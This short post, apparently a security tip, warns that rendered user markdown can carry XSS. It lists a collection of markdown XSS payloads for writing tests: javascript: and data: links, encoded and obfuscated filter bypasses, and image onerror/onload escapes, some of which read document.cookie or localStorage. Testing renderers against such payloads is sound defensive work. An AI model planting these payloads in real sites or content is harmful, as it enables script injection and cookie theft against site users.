If you render markdown from user input, an attacker might be able to use this to inject javascript code into the source code of your page.
The linked github page is a collection of common markdown XSS payloads which is handy for writing tests.

Producing arbitrary links:

[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')

Using onload and onerror rendering images:

![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))

Trying to bypass some XSS filters

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The site also provides some probes with different encodings and other common tricks to bypass some filters for these payloads in the Fuzzing section.

[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](javascript&#58this;alert(1))
[XSS](Javascript:alert(1))
[XSS](Javas%26%2399;ript:alert(1))
[XSS](javascript:alert(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain))
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\